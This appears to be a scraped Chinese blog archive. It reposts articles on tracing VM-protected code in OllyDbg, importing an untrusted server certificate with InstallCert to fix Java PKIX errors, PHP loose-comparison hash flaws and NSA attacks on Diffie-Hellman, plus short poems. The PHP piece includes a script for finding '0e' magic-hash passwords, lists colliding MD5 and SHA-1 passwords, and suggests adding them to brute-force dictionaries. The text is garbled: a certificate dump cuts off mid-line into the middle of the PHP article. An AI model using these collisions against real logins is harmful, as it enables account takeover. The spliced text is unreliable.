![file0007](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/858acb4c47_a4069cd955169adc70fa5ef0bc894680.jpg) 图7 统计是以代码段来划分的,第一栏显示的是这段代码在刚才的跟踪执行中执行的次数,第二栏显示了某个代码段的首地址。我们先找执行了一次的指令首地址。可以找到第5行的地址就是虚拟机的入口地址,点击在反汇编窗口跟随,可以看到这段代码是从0x00401060到0x004010B9,这就是init: 00401060 $ 55 push ebp 00401061 . 8BEC mov ebp, esp 00401063 . 81C4 D0FEFFFF add esp, -0x130 00401069 . C745 E4 00000>mov dword ptr [ebp-0x1C], 0x0 00401070 . C745 E8 00000>mov dword ptr [ebp-0x18], 0x0 00401077 . C745 F1 00000>mov dword ptr [ebp-0xF], 0x0 0040107E . C645 FD 00 mov byte ptr [ebp-0x3], 0x0 00401082 . C645 FE 00 mov byte ptr [ebp-0x2], 0x0 00401086 . C745 F5 00000>mov dword ptr [ebp-0xB], 0x0 0040108D . 8D85 D0FEFFFF lea eax, dword ptr [ebp-0x130] 00401093 . 8945 F1 mov dword ptr [ebp-0xF], eax 00401096 . 8B45 14 mov eax, dword ptr [ebp+0x14] 00401099 . 8945 E0 mov dword ptr [ebp-0x20], eax 0040109C . 8B45 08 mov eax, dword ptr [ebp+0x8] 0040109F . 8945 D0 mov dword ptr [ebp-0x30], eax 004010A2 . 8B45 0C mov eax, dword ptr [ebp+0xC] 004010A5 . 8945 D8 mov dword ptr [ebp-0x28], eax 004010A8 . C745 DC 00000>mov dword ptr [ebp-0x24], 0x0 004010AF . C745 D4 00000>mov dword ptr [ebp-0x2C], 0x0 004010B6 . 8B45 10 mov eax, dword ptr [ebp+0x10] 004010B9 . 8945 EC mov dword ptr [ebp-0x14], eax 接着找Dispatch,刚才说过,它既是虚拟机指令的开始,又是结束,它得到的执行次数一定也最多。可以看到第三行的0x004010B9,这个地址在虚拟机入口地址之后,执行次数最多,同样的办法可以看到这段代码的终止位置是0x004010D9: 004010BC > /FF45 EC inc dword ptr [ebp-0x14] 004010BF . |8B45 EC mov eax, dword ptr [ebp-0x14] 004010C2 . |8A00 mov al, byte ptr [eax] 004010C4 . |8845 F0 mov byte ptr [ebp-0x10], al 004010C7 . |B8 00204000 mov eax, 00402000 004010CC . |0FB65D F0 movzx ebx, byte ptr [ebp-0x10] 004010D0 . |C1E3 02 shl ebx, 0x2 004010D3 . |03C3 add eax, ebx 004010D5 . |FF20 jmp dword ptr [eax] 最后是找这次执行虚拟机用到的handle。这个不难,虚拟机入口地址之后的代码段除了init和dispatch,其它都是handle,所有执行过的handle都会在里面出现。当然了,某条handle的具体作用,以及没有执行过的handle,就只能靠人肉分析了。还有就是,就分析虚拟机保护来说,了解执行了哪些handle,以及哪些handle更常用,这些信息都是十分有用的。 [如何用 OllyDbg 的跟踪功能分析虚拟机保护](http://blog.jobbole.com/109803/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 解决PKIX问题:unable to find valid certification path to requested target Date: 2016-12-02 URL: https://blog.wo.ai/archives/1230 Categories: Technology, Uncategorized **话说前几天在测试服务器上遇到了这么个异常** javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target **就是说找不着安全证书啥的等等烂码七糟的一大堆** **接着就拜Google大神,发现一篇文章能被N个人转来转去的,关键文章还不怎么靠谱** **后来找到了一个办法,幸运的是在测试环境一弄, 这个问题看上去就被解决了** **我们要做的就是将所要访问的URL的安全认证证书导入到客户端** **下面是获取安全证书的一种方法** /* * Copyright 2006 Sun Microsystems, Inc. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * - Neither the name of Sun Microsystems nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.security.KeyStore; import java.security.MessageDigest; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLException; import javax.net.ssl.SSLSocket; import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManagerFactory; import javax.net.ssl.X509TrustManager; public class InstallCert { public static void main(String[] args) throws Exception { String host; int port; char[] passphrase; if ((args.length == 1) || (args.length == 2)) { String[] c = args[0].split(":"); host = c[0]; port = (c.length == 1) ? 443 : Integer.parseInt(c[1]); String p = (args.length == 1) ? "changeit" : args[1]; passphrase = p.toCharArray(); } else { System.out.println("Usage: java InstallCert [:port] [passphrase]"); return; } File file = new File("jssecacerts"); if (file.isFile() == false) { char SEP = File.separatorChar; File dir = new File(System.getProperty("java.home") + SEP + "lib" + SEP + "security"); file = new File(dir, "jssecacerts"); if (file.isFile() == false) { file = new File(dir, "cacerts"); } } System.out.println("Loading KeyStore " + file + "..."); InputStream in = new FileInputStream(file); KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType()); ks.load(in, passphrase); in.close(); SSLContext context = SSLContext.getInstance("TLS"); TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); tmf.init(ks); X509TrustManager defaultTrustManager = (X509TrustManager) tmf.getTrustManagers()[0]; SavingTrustManager tm = new SavingTrustManager(defaultTrustManager); context.init(null, new TrustManager[]{tm}, null); SSLSocketFactory factory = context.getSocketFactory(); System.out.println("Opening connection to " + host + ":" + port + "..."); SSLSocket socket = (SSLSocket) factory.createSocket(host, port); socket.setSoTimeout(10000); try { System.out.println("Starting SSL handshake..."); socket.startHandshake(); socket.close(); System.out.println(); System.out.println("No errors, certificate is already trusted"); } catch (SSLException e) { System.out.println(); e.printStackTrace(System.out); } X509Certificate[] chain = tm.chain; if (chain == null) { System.out.println("Could not obtain server certificate chain"); return; } BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); System.out.println(); System.out.println("Server sent " + chain.length + " certificate(s):"); System.out.println(); MessageDigest sha1 = MessageDigest.getInstance("SHA1"); MessageDigest md5 = MessageDigest.getInstance("MD5"); for (int i = 0; i < chain.length; i++) { X509Certificate cert = chain[i]; System.out.println(" " + (i + 1) + " Subject " + cert.getSubjectDN()); System.out.println(" Issuer " + cert.getIssuerDN()); sha1.update(cert.getEncoded()); System.out.println(" sha1 " + toHexString(sha1.digest())); md5.update(cert.getEncoded()); System.out.println(" md5 " + toHexString(md5.digest())); System.out.println(); } System.out.println("Enter certificate to add to trusted keystore or 'q' to quit: [1]"); String line = reader.readLine().trim(); int k; try { k = (line.length() == 0) ? 0 : Integer.parseInt(line) - 1; } catch (NumberFormatException e) { System.out.println("KeyStore not changed"); return; } X509Certificate cert = chain[k]; String alias = host + "-" + (k + 1); ks.setCertificateEntry(alias, cert); OutputStream out = new FileOutputStream("jssecacerts"); ks.store(out, passphrase); out.close(); System.out.println(); System.out.println(cert); System.out.println(); System.out.println("Added certificate to keystore 'jssecacerts' using alias '" + alias + "'"); } private static final char[] HEXDIGITS = "0123456789abcdef".toCharArray(); private static String toHexString(byte[] bytes) { StringBuilder sb = new StringBuilder(bytes.length * 3); for (int b : bytes) { b &= 0xff; sb.append(HEXDIGITS[b >> 4]); sb.append(HEXDIGITS[b & 15]); sb.append(' '); } return sb.toString(); } private static class SavingTrustManager implements X509TrustManager { private final X509TrustManager tm; private X509Certificate[] chain; SavingTrustManager(X509TrustManager tm) { this.tm = tm; } public X509Certificate[] getAcceptedIssuers() { throw new UnsupportedOperationException(); } public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { throw new UnsupportedOperationException(); } public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { this.chain = chain; tm.checkServerTrusted(chain, authType); } } } **编译InstallCert.java得到两个class文件,并执行InstallCert类** **执行方式:java InstallCert hostname eg:java InstallCert www.cebbank.com** **接下来会看到下面的打印信息** java InstallCert www.cebbank.com Loading KeyStore /usr/java/jdk1.6.0_31/jre/lib/security/cacerts... Opening connection to www.cebbank.com:443... Starting SSL handshake... javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target at com.sun.net.ssl.internal.ssl.Alerts.getSSLException(Alerts.java:174) at com.sun.net.ssl.internal.ssl.SSLSocketImpl.fatal(SSLSocketImpl.java:1731) at com.sun.net.ssl.internal.ssl.Handshaker.fatalSE(Handshaker.java:241) at com.sun.net.ssl.internal.ssl.Handshaker.fatalSE(Handshaker.java:235) at com.sun.net.ssl.internal.ssl.ClientHandshaker.serverCertificate(ClientHandshaker.java:1206) at com.sun.net.ssl.internal.ssl.ClientHandshaker.processMessage(ClientHandshaker.java:136) at com.sun.net.ssl.internal.ssl.Handshaker.processLoop(Handshaker.java:593) at com.sun.net.ssl.internal.ssl.Handshaker.process_record(Handshaker.java:529) at com.sun.net.ssl.internal.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:925) at com.sun.net.ssl.internal.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1170) at com.sun.net.ssl.internal.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1197) at com.sun.net.ssl.internal.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1181) at InstallCert.main(InstallCert.java:102) Caused by: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target at sun.security.validator.PKIXValidator.doBuild(PKIXValidator.java:323) at sun.security.validator.PKIXValidator.engineValidate(PKIXValidator.java:217) at sun.security.validator.Validator.validate(Validator.java:218) at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.validate(X509TrustManagerImpl.java:126) at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.checkServerTrusted(X509TrustManagerImpl.java:209) at InstallCert$SavingTrustManager.checkServerTrusted(InstallCert.java:198) at com.sun.net.ssl.internal.ssl.ClientHandshaker.serverCertificate(ClientHandshaker.java:1198) ... 8 more Caused by: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target at sun.security.provider.certpath.SunCertPathBuilder.engineBuild(SunCertPathBuilder.java:174) at java.security.cert.CertPathBuilder.build(CertPathBuilder.java:238) at sun.security.validator.PKIXValidator.doBuild(PKIXValidator.java:318) ... 14 more Server sent 1 certificate(s): 1 Subject CN=www.cebbank.com, OU=Terms of use at www.verisign.com/rpa (c)05, OU=CEB, O="China Everbright Bank Co., Ltd", L=Beijing Issuer CN=VeriSign Class 3 Extended Validation SSL CA, OU=Terms of use at https://www.verisign.com/rpa (c)06, OU=VeriSign Trust Network sha1 5b d2 85 6e b3 a4 2b 07 a2 13 47 b3 be 3e 1f c9 d3 ce 46 57 md5 05 d8 ae ee f1 d9 51 63 6d 2f 11 e0 ac d0 e7 d7 Enter certificate to add to trusted keystore or 'q' to quit: [1] **然后输入 1 并回车,会看到类似下面的打印信息** [ [ Version: V3 Subject: CN=www.cebbank.com, OU=Terms of use at www.verisign.com/rpa (c)05, OU=CEB, O="China Everbright Bank Co., Ltd", L=Beijing Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 30831246384548809540705228292841393062583732250993909916355780413722161557074568469738254573472093341710481517139910877 public exponent: 65537 Validity: [From: Mon Jul 02 08:00:00 CST 2012, To: Thu Jul 03 07:59:59 CST 2014] Issuer: CN=VeriSign Class 3 Extended Validation SSL CA, OU=Terms of use at https://www.verisign.com/rpa (c)06, OU=VeriSign Trust Network SerialNumber: [ 5715ab25 6be8fa42 2fa28dd4 601bc732] Certificate Extensions: 9 [1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=false AuthorityInfoAccess [ [ accessMethod: 1.3.6.1.5.5.7.48.1 accessLocation: URIName: http://ocsp.verisign.com, accessMethod: 1.3.6.1.5.5.7.48.2 accessLocation: URIName: http://EVSecure-aia.verisign.com/EVSecure2006.cer] ] [2]: ObjectId: 2.5.29.17 Criticality=false SubjectAlternativeName [ DNSName: www.cebbank.com ] [3]: ObjectId: 2.5.29.35 Criticality=false AuthorityKeyIdentifier [ KeyIdentifier [ 0000: FC 8A 50 BA 9E B9 25 5A 7B 55 85 4F 95 00 63 8F ..P...%Z.U.O..c. 0010: E9 58 6B 43 .XkC ] ] [4]: ObjectId: 2.5.29.32 Criticality=false CertificatePolicies [ [CertificatePolicyId: [2.16.840.1.113733.1.7.23.6] [PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1C 68 74 74 70 73 3A 2F 2F 77 77 77 2E 76 65 ..https://www.ve 0010: 72 69 73 69 67 6E 2E 63 6F 6D 2F 63 70 73 risign.com/cps ]] ] ] [5]: ObjectId: 2.5.29.19 Criticality=false BasicConstraints:[ CA:false PathLen: undefined ] [6]: ObjectId: 1.3.6.1.5.5.7.1.12 Criticality=false Extension unknown: DER encoded OCTET string = 0000: 04 62 30 60 A1 5E A0 5C 30 5A 30 58 30 56 16 09 .b0`.^.\0Z0X0V.. 0010: 69 6D 61 67 65 2F 67 69 66 30 21 30 1F 30 07 06 image/gif0!0.0.. 0020: 05 2B 0E 03 02 1A 04 14 4B 6B B9 28 96 06 0C BB .+......Kk.(.... 0030: D0 52 38 9B 29 AC 4B 07 8B 21 05 18 30 26 16 24 .R8.).K..!..0&.$ 0040: 68 74 74 70 3A 2F 2F 6C 6F 67 6F 2E 76 65 72 69 http://logo.veri 0050: 73 69 67 6E 2E 63 6F 6D 2F 76 73 6C 6F 67 6F 31 sign.com/vslogo1 0060: 2E 67 69 66 .gif [7]: ObjectId: 2.5.29.37 Criticality=false ExtendedKeyUsages [ serverAuth clientAuth ] [8]: ObjectId: 2.5.29.31 Criticality=false CRLDistributionPoints [ [DistributionPoint: [URIName: http://EVSecure-crl.verisign.com/EVSecure2006.crl] ]] [9]: ObjectId: 2.5.29.15 Criticality=false KeyUsage [ DigitalSignature Key_Encipherment ] ] Algorithm: [SHA1withRSA] Signature: 0000: 42 0A 89 BF 48 08 1E F4 98 F2 E5 DB 0D 83 EF 37 B...H..........7 0010: EC 27 6F 4D 81 69 C6 4A 4C 17 EC 57 F5 48 2A 14 .'oM.i.JL..W.H*. 0020: 3C 54 B2 C5 49 39 42 BA EC 83 78 02 F9 96 6C 63 var_dump('0xff' == '255'); bool(true) 实际上,当使用类似“==”这样的比较运算符进行操作时,就会出现这样的情况。上面这个例子中出现的问题不能算是一个漏洞,因为它是PHP所提供的一种名为“类型转换”的功能。从本质上来分析,当我们使用特定的比较运算符(例如== , !=, <>)来进行操作时,PHP首先会尝试去确定参与比较的数据类型。但是这样的一种类型转换机制将有可能导致计算结果与我们预期的结果有较大出入,而且也会带来非常严重的安全问题。安全研究专家在该问题的完整披露报告中写到:这种类型转化机制将有可能导致权限提升,甚至还会使程序的密码验证过程变得不安全。 Gynvael写过一篇关于这一话题的经典文章,PHP等号运算符“==”所涵盖的数据类型非常广泛,我们给大家提供了一个较为完整的比较参考列表,并给出了一些示例,具体内容如下所示: "1.00000000000000001" == "0.1e1" → bool(true) "+1" == "0.1e1" → bool(true) "1e0" == "0.1e1" → bool(true) "-0e10" == "0" → bool(true) "1000" == "0x3e8" → bool(true) "1234" == " 1234" → bool(true) 正如你所看到的,当我们使用“==”来比较这些数字字符串时,参与比较的就是字符串中数字的实际大小,从安全的角度出发,这就是一个非常有趣的问题了。在这种情况下,你可以使用科学计数法来表示一个数字,并将其放在一个字符串中,PHP将会自动把它作为一个数字类型来处理。我们之所以会得到这样的输出类型,是因为PHP使用了一种哈希算法(通常使用十六进制数值表示)来进行处理。比如说,如果一个数字为0,那么在进行松散比较的过程中,PHP会自动对其类型进行转换,但其值永远为0。对于一个给定的散列算法而言,密码就有可能会变成可以被替换的了。比如说,当密码的哈希值被转换成使用科学计数法来表示的数字时,将有可能正好与其他的密码哈希相匹配。这样一来,即使是一个完全不同的密码,也有可能可以通过系统的验证。但有趣的是,当某些采用科学计数法表示的数字在进行比较的时候,结果可能会让你意想不到: "18372e0" == "492372e0000" → bool(false) "2e6" == "8e2" → bool(false) 从“黑盒测试”的角度出发来考虑这个问题 从静态分析的角度来看,这些安全问题就显得有些普通了。但如果我们从黑盒的角度来看待这些问题,我们能够得到什么样的启发呢?对于应用程序中的任何用户账号而言,如果应用程序使用了当前最为流行的哈希散列算法(例如SHA1和MD5)来对密码进行处理,而你在对密码哈希进行验证的时候使用了PHP的松散比较,那么此时就有可能出现安全问题。我们现在可以考虑进行一次典型的渗透测试,你可以创建一个普通的账号,将密码设置成哈希值类似的其中一个密码,然后使用其他的密码进行登录操作。很明显,系统的安全性完全取决于你所使用的散列算法。所以,我们假设你没有在散列算法中使用“Salt”值,那么你至少得使用两种不同的散列算法来对密码进行处理。 现在,在我们去对这些密码组合进行研究之前,我们还应该考虑到一点——即密码的要求。因为我们在对这些密码和散列算法进行分析之前,首先得确保我们所设置的初始密码复合了密码复杂度的要求,否则我们的分析和研究将会没有任何的意义。因此,我们得确保我们的密码长度至少为八个字符,密码中包含有大小写字母,数字,以及至少一个特殊字符:具体如下所示: import random import hashlib import re import string import sys prof = re.compile("^0+ed*$") # you can also consider: re.compile("^d*e0+$") prefix = string.lower(sys.argv[1])+'!'+string.upper(sys.argv[1])+"%s" num=0 while True: num+=1 b = hashlib.sha256(prefix % num).hexdigest() if (b[0]=='0' and prof.match(b)): print(prefix+str(num),b) 为此,我专门编写了一个Python脚本,虽然我没有竭尽全力去优化这个脚本的性能,但是在PyPy编译器的帮助下,这个精心编写的脚本可以在我的AMD FX8350所有可用的CPU核心中稳定运行。除此之外,我还使用到了hashlib库中的散列函数,而且为了避免遇到Python GIL的进程同步问题,我还生成了独立的进程来对密码数据进行处理。不仅如此,我还使用了非常复杂的技术来为每一个密码生成不同的前缀,正如上面这段代码所示。 **分析结果** * * * 在经过了一个多小时的分析之后,我得到了四个密码的SHA1值。令我感到惊讶的是,得到四个密码的MD5值所需的时间竟然更短。 密码的计算结果十分相似,具体如下所示: MD5 word hash c!C123449477 0e557632468345060543073989263828 d!D206687225 0e749889617409631915178731435707 e!E160399390 0e680455198929448171766997030242 f!F24413812 0e666889174135968272493873755352 SHA-1 word hash aA1537368460! 0e98690883042693380036268365370177656718 aA3539920368! 0e80128521090954700858853090442722395969 cC6593433400! 0e65495612893131014886449602893230063369 fF3560631665! 0e49205137236861153120561516430463247071 你可以随意选取两个密码来进行对比,对比的演示结果如下: php > var_dump(md5('c!C123449477') == md5('d!D206687225')); bool(true) php > var_dump(sha1('aA1537368460!') == sha1('fF3560631665!')); bool(true) 如果你无法得到如上图所示的计算结果,那么你应该感到幸运。你可以尝试将用户名和密码捆绑在一起,然后使用带“salt”值的散列算法来进行计算。你只需要修改一小部分代码即可实现,点击“[这里](http://www.digitalloft.org/init/plugin_wiki/attachment/4)”获取修改后的脚本。 **解决方案** * * * PHP给我们提供了一个解决方案,如果你想要对比哈希值,你应该使用password_verify()或hash_equals()这两个函数。它们会对数据进行严格比较,并排除一些其他的干扰因素。但是请你注意,hash_equals()函数也可以用于字符串的比较。 **分析结论** * * * 虽然我们的分析步骤执行起来有些过于复杂,但是从黑盒测试的角度出发,我们所描述的方法也许可以给大家提供一些有价值的信息。如果某个应用程序中的密码采用了这样的一种验证机制,那么它所带来的安全问题将会超出PHP数据类型转换本身所存在的问题。 **问题远不止于此** * * * 这个问题给我们带来的影响远远不止于此。攻击者可以将这些密码添加到字典文件中,然后对应用程序中的所有用户进行暴力破解攻击。而且,如果应用程序的密码恢复机制中存在不安全的因素,攻击者还有可能对目标账号进行不限次数的攻击,直到攻击成功为止。 **源代码** * * * 点击“[这里](http://www.digitalloft.org/init/plugin_wiki/attachment/4)”获取Python源码。 ### 相关文章 * [php:给php增加函数强制类型返回](http://blog.jobbole.com/99458/) * [PHP 底层的运行机制与原理](http://blog.jobbole.com/94475/) * [ PHP并发IO编程之路](http://blog.jobbole.com/98986/) * [PHP开发安全问题总结](http://blog.jobbole.com/87956/) * [创建安全PHP应用程序的实用建议](http://blog.jobbole.com/23559/) * [我用爬虫一天时间“偷了”知乎一百万用户,只为证明PHP是世界上最好的语言 ](http://blog.jobbole.com/88788/) * [PHP开发者应了解的24个库](http://blog.jobbole.com/54201/) * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [理解 PHP 内部函数的定义](http://blog.jobbole.com/102235/) * [10个实用的PHP代码片段推荐](http://blog.jobbole.com/12371/) [PHP中“==”运算符的安全问题](http://blog.jobbole.com/104107/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 洗心1:用心洗干净心,用血洗干净血 Date: 2016-08-01 URL: https://blog.wo.ai/archives/1211 Categories: Poem & Reading 泥土笑话了多少人间垃圾,大自然消化了多少人的黑暗与邪恶。泥土希望维持自己的高尚与干净,自然希望坚持自己的青青微笑去绿化人间。 泥土愿意洗干净人的欲望,但人的很多不正当欲望太邪恶,泥土也深感辛苦,它没有受到人对它的尊重。 **颂七处心偈** 西余净端 七处征心心不遂,懵懂阿难不瞥地。 直饶征得见无心,也是泥中洗土块。 生命的本质就是要超越人间不自由的极限,去掉枷锁而得到真正的自在 --- ## NSA 是如何破解大量加密信息的? Date: 2016-07-26 URL: https://blog.wo.ai/archives/1209 Categories: Uncategorized 近几年有谣言说 NSA 可以解密已加密网络中的大部分数据。在 2012 年,James Bamford 发布了一篇 [文章](http://www.wired.com/2012/03/ff_nsadatacenter/),引用了匿名的 NSA 前成员的说法,他证实“NSA已经取得了计算力的突破性进展,他们有能力破解当前已公开的加密算法”。斯诺登公布的文档也暗指像一些额外的线索和文档显示,NSA已经建立了大量的基础设备来拦截和解密 VPN 流量,它至少能解密一些 NSA 想要知道的 HTTPS 和 SSH 连接。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c8068435e_7cc829d3gw1f671kiqgjqj20fs0ajdiy.jpg) 然而,对于这些超前的工作是如何运作的,技术小组是如何判断后门或逻辑缺陷的等问题,这些文档都没有说明。2015 年 10 月 13 日,在 ACM CCS 会议的安全研究分会场,我们和 12 个同行发布了一篇[技术谜题揭秘报告](https://weakdh.org/imperfect-forward-secrecy.pdf)。 Diffie-Hellman 秘钥交换算法,是我们推荐使用的防御监听的算法。它是现代密码学的基石,VPN、HTTPS 网站、邮件和许多其他的协议都用在 Diffie-Hellman。我们的报告显示,通过数理理论的交汇和糟糕的协议实现,许多现实世界里的 Diffie-Hellman 用户在面对国家级攻击时都是脆弱的。这个事实稍微有点讽刺。 如果读者里有技术狂人,就会发现一些问题:如果客户端和服务端要使用 Diffie-Hellman,它们首先需要协定一个特殊形式的大素数。为什么不能每个人都用同样的素数?似乎不用问什么原因。实际上,许多应用倾向于使用标准的或者硬编码的素数。但算法从数学家到实现者之间,会丢失一个非常重要的细节:攻击者可以执行一个单点大规模计算来破解大素数,使用该大素数的个人连接很容易丢失。 你要问计算量有多大?大概是整个二战时期破解英格玛的计算规模(相较于那时候的计算量而言)。甚至连估算难度都很棘手,因为这个算法涉及到的内容太复杂,但我们有论文给出了一些保守的估算。对于最常用的 Diffie-Hellman(1024位),花了几亿美元来建造专门的破译机器,这能够每年破解一个 Diffie-Hellman 素数。 对情报机构而言,这值得么?一旦少量的大素数被滥用,那他们可解密的连接,将会很可观。破译一个通用的 1024 位大素数,将让NSA 能解密全球三分之二的 VPN 和四分之一的 SSH 服务器。破解两个1024 位大素数,将能够被动监听上百万个 HTTPS 网站中的20%。总而言之,在大规模计算上的一次投资,使它能够监听数以兆计的加密连接。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/75685ace41_7cc829d3gw1f671kk4hgaj20jy0dbabi.jpg) NSA 能够负担这些投资。在斯诺登泄露的部分文件里,有一份 2013 年的[黑色预算](https://www.eff.org/files/2013/11/25/2013-08-30_cryptome_congressional_budget_2013.pdf)的申请,文件显示 NSA 已经将“发展突破性的密码分析能力以打击敌对方密码系统和利用网络流量”提上了日程。它显示了 NSA 的预算大约一年有100 亿美元,其中超过 10 亿被用于计算网络技术开发和几个子项目中。 基于我们已有的证据来说,我们无法确切证明 NSA 已经完成了。然而,我们提出的 Diffie-Hellman 攻击方式,相较于其他可能性,更能解释在当前已知的技术水平下如何获得大规模破解的能力。例如,斯诺登发布的文档显示了 NSA 的 [VPN解密设施](http://www.spiegel.de/media/media-35526.pdf) 通过拦截加密连接,并使用超级计算机计算已知数据来得到密钥。这套系统的设计不遗余力的收集必要的特殊数据,为攻击 Diffie-Hellman 做准备。但它不适合 AES 或其他对称加密算法。这份文档清晰是显示了 NSA 使用其他类似软硬件“移植”的技术来破解特殊目标的加密算法,但这些并没有解释 NSA 大规模被动监听 VPN 信道的能力。 一旦 Diffie-Hellman 这种不牢靠的使用方式在标准和实现中被滥用,这个问题将会影响到许多年后,甚至给现有的安全推荐和我们新的调查带来影响。与此同时,其他强大的政府也有可能实现类似的攻击,假设他们还没那么做的话。 我们的调查阐明了 NSA 两项任务间的矛盾,收集情报和保卫美国网络安全。假如我们的猜想是正确的,情报机构已经掌控了弱 Diffie-Hellman,帮忙修正这个问题仅是小小的一步而已。在防守方,NSA 推荐大家应该向椭圆曲线密码学过渡,椭圆曲线密码学没有已知的漏洞,但这一推荐在没有明确推论或证明的情况下,就被大多数人忽略了。这个问题太复杂,因为安全通过采取 NSA 推荐,表面上价值不高。看看这这个显而易见的影响:[后门密码标准](https://en.wikipedia.org/wiki/Dual_EC_DRBG)。 这种状况让人人的安全都处于危险中。这种规模的漏洞是不加区别地影响着大家的安全,包括美国公民和公司,但我们希望,能有一种更清晰的技术,来了解 ZF 监控背后的密码机制,为大家能有更好的安全。 更多详情,请见我们的研究论文:《[Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice](https://weakdh.org/imperfect-forward-secrecy.pdf)》(更新:我们这篇论文获得了CCS 2015 最佳论文奖!) _[J. Alex Halderman](https://jhalderm.com/) _是密歇根大学计算机科学与工程的助理教授,密歇根计算机安全和社会中心的主管。 _[Nadia Heninger](https://www.cis.upenn.edu/~nadiah/) _是宾夕法尼亚大学计算机与信息科学系助理教授。 ### 相关文章 * [StackOverflow 这么大,它的架构是怎么样的?](http://blog.jobbole.com/98633/) * [Redis 未授权访问缺陷可轻易导致系统被黑](http://blog.jobbole.com/94518/) * [HTTPS连接的前几毫秒发生了什么](http://blog.jobbole.com/48369/) * [10 分钟服务器安全设置,Ubuntu安全设置入门](http://blog.jobbole.com/103344/) * [DDoS攻防战(一):概述](http://blog.jobbole.com/72919/) * [HTTPS是如何保证连接安全:每位Web开发者都应知道的](http://blog.jobbole.com/45530/) * [XSS 前端防火墙(5): 整装待发](http://blog.jobbole.com/71804/) * [几种极其隐蔽的XSS注入的防护](http://blog.jobbole.com/26064/) * [超大 Cookie 拒绝服务攻击](http://blog.jobbole.com/87394/) * [我如何发现Facebook服务器中的远程代码执行漏洞:OpenID中的XML外部实体扩展漏洞](http://blog.jobbole.com/58179/) [NSA 是如何破解大量加密信息的?](http://blog.jobbole.com/103838/),首发于[文章 – 伯乐在线](http://blog.jobbole.com)。 --- ## 寻心10:没有人类的春天更像另外一种春天 Date: 2016-07-10 URL: https://blog.wo.ai/archives/1206 Categories: Poem & Reading 水的书法决定了一个世界的格局。江河湖海,小溪池塘,凡水的点点滴滴,一笔一画,谁的偏旁部首,都爱建筑世界的施工,有水才有墨汁,有水才有原油。 春天为一粒行囊,打开一丝诗歌的出路,发芽。一粒山的种子,说出自己的枝枝叶叶偏旁部首一笔一画的书法组织,春天就生机了自己。 **春行即兴** 李华 宜阳城下草萋萋,涧水东流复向西。 芳树无人花自落,春山一路鸟空啼。 李华,唐代诗人。这首景物小诗,是诗人在春天经由宜阳时,对眼前景物有感,即兴抒发了国破山河在、花落鸟空啼的愁绪。但诗更展示了比坐着的感受更大的境界:世界无人时,它们有自己的完整。 --- ## 寻心9: 平坦大道却是奇峰铺成 Date: 2016-07-09 URL: https://blog.wo.ai/archives/1204 Categories: Poem & Reading 春天永恒也不是一件好事情,晚春就要下班。 草深, 草很资深,才有春天所有的存款。 林茂,树林花枝招展,树叶成熟如毕业证。 花落,鲜花丢下自己花瓣之力,要捧出自己的一颗心。 絮飞,没有翅膀,飞起来的,属于心。 **晚春** 守璋 草深烟景重,林茂夕阳微。 不雨花犹落,无风絮自飞。 守璋,南宋诗僧。 